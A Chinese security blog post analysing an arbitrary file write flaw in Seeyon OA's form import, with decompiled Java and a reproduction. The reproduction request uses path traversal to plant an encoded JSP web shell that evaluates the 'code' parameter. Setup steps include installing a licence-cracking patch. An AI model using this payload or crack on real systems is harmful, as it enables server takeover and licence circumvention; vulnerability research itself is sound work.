致远oa表单导入任意文件写入漏洞分析
致远oa表单导入任意文件写入漏洞分析
原创 莫大130 安全逐梦人 2024-10-12 19:34
环境搭建
-
1
-
2
链接:https://pan.baidu.com/s/1d9BgbCkV82WG1TCwXvmMDA?pwd=h7kz
提取码:h7kz
-
(1)安装mysql数据库(针对A8版本)。创建一个新的数据库,字符集设置为UTF-8。如果是A6版本,如 A6v6.1、A6v6.1sp1、A6v6.1sp2,默认使用内嵌在安装包中的postgresql作为数据库,无需单独安装
-
(2)获取安装文件。Seeyonxxx.zip(安装包)、jwycbjnoyees.jar(破解补丁)
-
(3)在安装包中点击要安装版本.bat文件,如/inst/SeeyonA6-1Install_real.bat
-
(4)按照弹出的安装程序确认安装路径、配置数据库等(安装过程需要断网,否则检测到不是最新版无法进行下一步)。如果是A6版本,到数据库配置阶段可以修改postgres用户的密码。另外,针对A6版本,postgresql安装完成后不会设置Windows服务项,重启机器后再次启动会比较麻烦,可使用如下命令注册一个名为pgsql的服务项。后续可在Windows服务管理里启停postgresql服务
-
1
cd C:\Seeyon\A6V6.1SP2\pgsql9.2.5\bin pg_ctl.exe register -N "pgsql" -D "C:\Seeyon\A6\A6V6.1SP2\pgsql9.2.5\data"
-
(5)安装最后一步是账号密码设置。A6-A8.0版本默认设置system账户的密码。A8.1版本可定义管理员账号、密码、普通用户初始密码、S1 Agent密码。
-
(6)安装破解补丁。如果服务已经启动,需要先关闭服务。首先备份安装目录A6\ApacheJetspeed\webapps\seeyon\WEB-INF\lib下的jwycbjnoyees.jar文件,然后将其替换成补丁文件后重启服务。补丁文件下载(此补丁针对A8.1):https://github.com/ax1sX/SecurityList/blob/main/Java_OA/jwycbjnoyees.jar
-
(7)服务启动。A6在确保postgresql数据库服务是启动的状态下,点击“致远服务”图标来启动服务。A8是通过agent+server的形式来部署的。所以需要先启动S1 Agent,通过双击Seeyon\A8\S1\start.bat或点击SeeyonS1Agent图标都可以实现。然后再点击“致远服务”图标(等效于/S1/client/clent.exe),在其“服务启动配置”中添加Agent。
-
(8)默认端口是80,可以在“致远服务”的“服务启动配置”中点击Agent的配置选项,对HTTP端口和JVM属性进行更改。想要对致远进行调试,可以在修改/ApacheJetspeed/bin/startup.bat文件,添加如下内容。
-
1
set JAVA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005"
目录结构
管理员权限运行 /inst/SeeyonA6-1Install_real.bat
按照程序提示一步步安装即可。
运行程序
安装成功后的目录结构
/ApacheJetspeed/bin/startup.bat 添加调试代码
配置debug
测试调试下断点
generateInfopath 函数
漏洞文件:\ApacheJetspeed\webapps\seeyon\WEB-INF\lib\seeyon-cap-core\com\seeyon\cap4\form\modules\engin\design\impl\CAP4FormDesignManagerImpl.java
-
1
-
2
-
3
-
4
-
5
-
6
-
7
-
8
-
9
-
10
-
11
-
12
-
13
-
14
-
15
-
16
-
17
-
18
-
19
-
20
-
21
-
22
-
23
-
24
-
25
-
26
-
27
-
28
-
29
-
30
-
31
-
32
-
33
-
34
-
35
-
36
-
37
-
38
-
39
-
40
-
41
-
42
-
43
-
44
-
45
-
46
-
47
-
48
-
49
-
50
-
51
-
52
-
53
-
54
-
55
-
56
-
57
-
58
-
59
-
60
-
61
-
62
-
63
-
64
-
65
-
66
-
67
-
68
-
69
-
70
-
71
-
72
@Override
@AjaxAccess
@CheckRoleAccess(resourceCode={"govdoc_manage"}, roleTypes={OrgConstants.Role_NAME.EdocManagement, OrgConstants.Role_NAME.FormAdmin})
public Map<String, Object> generateInfopath(Map<String, Object> params) throws BusinessException {
List atts;
String zipName;
String paramName = "files";
if (!params.containsKey(paramName)) {
throw new BusinessException("没有传入表单视图内容文件,请传入视图内容文件!");
}
HashMap<String, Object> resultMap = new HashMap<String, Object>();
Date date = new Date();
String fileId = String.valueOf(date.getTime());
String baseFolder = this.fileManager.getNowFolder(true);
Long subFolder = UUIDLong.absLongUUID();
String rootPath = baseFolder + File.separator + String.valueOf(subFolder) + File.separator;
List files = (List)params.get("files");
if (null != files && files.size() > 0) {
for (Map map : files) {
String fileName = (String)map.get("fileName");
String fileContent = (String)map.get("fileContent");
CapUtil.writeFile((String)rootPath, (String)fileName, (String)fileContent);
}
}
if (Strings.isNotEmpty((String)(zipName = String.valueOf(params.get("name"))))) {
zipName = zipName + ".zip";
}
if (null != (atts = (List)params.get("atts")) && atts.size() > 0) {
CtpLocalFile attFile = new CtpLocalFile(rootPath + "attachment" + File.separator);
if (!attFile.exists()) {
attFile.mkdirs();
}
try {
for (Map map : atts) {
Long imgFileId;
CtpFile file;
String fileUrl = (String)map.get("fileUrl");
String createDate = (String)map.get("createDate");
String attachmentName = (String)map.get("name");
if (Strings.isEmpty((String)attachmentName)) {
attachmentName = UUIDLong.absLongUUID() + "";
}
if (null == (file = this.fileManager.getFile(imgFileId = Long.valueOf(Long.parseLong(fileUrl)), DateUtil.parse((String)createDate, (String)"yyyy-MM-dd"))) || !file.exists()) continue;
CtpFile destination = new CtpFile(rootPath + attachmentName);
if (!destination.exists()) {
destination.createNewFile();
}
GlobalFileUtils.copyCtpFile((CtpFile)file, (CtpFile)destination);
LOGGER.info((Object)("\u9644\u4ef6(id:" + fileUrl + " createDate:" + createDate + ") \u4e0d\u5b58\u5728\uff0c\u65e0\u6cd5\u62f7\u8d1d\uff01"));
}
}
catch (Exception e) {
LOGGER.error((Object)e.getMessage(), (Throwable)e);
}
}
CtpLocalFile rootFile = new CtpLocalFile(rootPath);
String toFileName = rootFile.getParent() + File.separator + fileId;
CtpLocalFile toFile = new CtpLocalFile(toFileName);
try {
ZipUtil.zip((CtpLocalFile)rootFile, (CtpAbstractFile)toFile, (boolean)false);
V3XFile v3XFile = this.fileManager.save((CtpAbstractFile)toFile, ApplicationCategoryEnum.global, zipName, DateUtil.currentDate(), Boolean.valueOf(true));
resultMap.put("fileId", v3XFile.getId());
resultMap.put("createDate", v3XFile.getCreateDate());
}
catch (Exception e) {
LOGGER.error((Object)e.getMessage(), (Throwable)e);
}
finally {
FileUtil.deleteFile((CtpLocalFile)rootFile);
}
return resultMap;
}
主要实现写入文件的方法 CapUtil.writeFile((String)rootPath, (String)fileName, (String)fileContent);
跟着进去writeFile 方法
CapUtil.writeFile
文件路径:\ApacheJetspeed\webapps\seeyon\WEB-INF\lib\seeyon-cap-api.jar!\com\seeyon\cap4\form\util\CapUtil.class
-
1
-
2
-
3
-
4
-
5
-
6
-
7
-
8
-
9
-
10
-
11
-
12
-
13
-
14
-
15
-
16
-
17
-
18
-
19
-
20
-
21
-
22
-
23
-
24
-
25
-
26
-
27
public static void writeFile(String baseDir, String fileExt, String content) throws BusinessException {
CtpLocalFile file = new CtpLocalFile(baseDir);
if (!file.exists()) {
file.mkdirs();
}
CtpLocalFile destFile = new CtpLocalFile(baseDir, fileExt);
OutputStream fout = null;
PrintStream writer = null;
try {
fout = new FileOutputStream(destFile);
writer = new PrintStream(fout, false, "UTF-8");
writer.print(content);
writer.flush();
} catch (FileNotFoundException var12) {
logger.error(var12.getMessage(), var12);
throw new BusinessException("写入文件异常,未找到文件:" + var12.getMessage(), var12);
} catch (UnsupportedEncodingException var13) {
logger.error(var13.getMessage(), var13);
throw new BusinessException("写入文件异常,不支持的编码:" + var13.getMessage(), var13);
} finally {
IOUtils.closeQuietly(writer);
IOUtils.closeQuietly(fout);
}
}
CtpLocalFile file = new CtpLocalFile(baseDir); 创建一个目录的对象,并 if 判断 file 目录是否存在,不存在就创建新文件夹。CtpLocalFile destFile = new CtpLocalFile(baseDir, fileExt); 创建文件对象
-
1
-
2
-
3
-
4
fout = new FileOutputStream(destFile);
writer = new PrintStream(fout, false, "UTF-8");
writer.print(content);
writer.flush();
创建一个文件输出流 fout,用于向目标文件写入数据。创建一个 PrintStream 对象 writer,指定输出流和字符编码为 UTF-8。使用 writer.print(content) 将内容写入文件,并使用 writer.flush() 确保所有内容都被写入。
成功写入文件
漏洞复现
-
1
-
2
-
3
-
4
-
5
-
6
-
7
-
8
-
9
-
10
-
11
-
12
-
13
POST /seeyon/ajax.do?method=ajaxAction&managerName=cap4FormDesignManager HTTP/1.1
Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Connection: keep-aliveContent-Length: 331Content-Type: application/x-www-form-urlencoded;charset=UTF-8Cookie: ts=1728653264995; JSESSIONID=EADD9E1D7E239870F85E73935AC9AD34; loginPageURL=; login_locale=zh_CN; avatarImageUrl=5995465946958220283Host: 192.168.18.129:8085RequestType: AJAXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0managerMethod=generateInfopath&arguments={"files":[{"fileName":"../../../../../../ApacheJetspeed/webapps/seeyon/5.jsp","fileContent":"%3c%25%6f%75%74%2e%70%72%69%6e%74%28%6f%72%67%2e%61%70%61%63%68%65%2e%6a%61%73%70%65%72%2e%72%75%6e%74%69%6d%65%2e%50%61%67%65%43%6f%6e%74%65%78%74%49%6d%70%6c%2e%70%72%6f%70%72%69%65%74%61%72%79%45%76%61%6c%75%61%74%65%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%5c%22%63%6f%64%65%5c%22%29%2c%20%53%74%72%69%6e%67%2e%63%6c%61%73%73%2c%20%70%61%67%65%43%6f%6e%74%65%78%74%2c%20%6e%75%6c%6c%29%29%3b%25%3e"}]}
补丁
对传入的路径和文件后缀进行过滤
参考文章
-
https://github.com/ax1sX/SecurityList/blob/main/Java_OA/SeeyonAudit.md
-
https://service.seeyon.com/patchtools/tp.html#/patchList?type=%E5%AE%89%E5%85%A8%E8%A1%A5%E4%B8%81&id=178
附上微信群,交流技术和划水聊天等,扫描下面二维码,添加我好友拉进群。